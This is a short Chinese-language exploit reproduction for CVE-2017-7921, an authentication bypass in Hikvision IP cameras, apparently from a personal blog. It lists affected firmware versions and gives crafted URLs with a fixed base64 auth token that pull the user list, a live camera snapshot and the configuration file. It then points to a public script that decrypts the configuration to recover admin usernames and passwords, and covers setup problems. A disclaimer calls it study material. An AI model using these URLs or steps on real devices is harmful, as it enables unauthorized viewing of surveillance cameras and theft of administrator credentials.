海康威视(Hikvision)多款摄像头_未授权访问[CVE-2017-7921]
概要
关于海康威视多款摄像头_未授权访问[CVE-2017-7921]漏洞简单复现。
本文章仅供学习参考,无任何引导从事违法违规行为,个人行为与本文章以及作者无关!
漏洞描述
1.海康威视摄像头管理界面存在未授权访问漏洞,通过构造URL可以获取账户信息、配置文件、浏览摄像画面,通过脚本对配置文件进行解密,从而获取到管理用户名、密码。
1.2影响版本
DS-2CD2xx2F-I 系列 V5.2.0 build 140721 至 V5.4.0 build 160530
DS-2CD2xx0F-I 系列 V5.2.0 build 140721 至 V5.4.0 Build 160401
DS-2CD2xx2FWD 系列 V5.3.1 build 150410 至 V5.4.4 Build 161125
DS-2CD4x2xFWD 系列 V5.2.0 Build 140721 至 V5.4.0 Build 160414
DS-2CD4xx5 系列 V5.2.0 Build 140721 至 V5.4.0 Build 160421
DS-2DFx 系列 V5.2.0 Build 140805 至 V5.4.5 Build 160928
DS-2CD63xx 系列 V5.0.9 构建140305至 V5.3.5 构建160106设备
1.3获取账户信息
构造URL-----http://ip/Security/users?auth=YWRtaW46MTEK
1.4未授权访问当前监控信息
构造URL-----http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK
1.5获取下载配置文件(configurationFile)
构造URL-----http://ip/System/configurationFile?auth=YWRtaW46MTEK
脚本使用
通过脚本对configurationFile进行解密获得登录用户名、密码
2.1脚本下载链接
https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decrypto
2.2 电脑环境
2.2.1 python
2.2.2 依赖crypto
pip install crypto
2.3 使用方式
decrypt_configurationFile.py
遇到的问题
3.1 from Crypto.Cipher import AES ModuleNotFoundError: No module named ‘Crypto’
解决:
将C盘的C:\Users\H\AppData\Local\Programs\Python\Python310\Lib\site-packages
crypto文件夹重命名为Crypto
注:1.此路径为本作者电脑路径,路径不一定一样。
2.思路相同:修改文件夹名字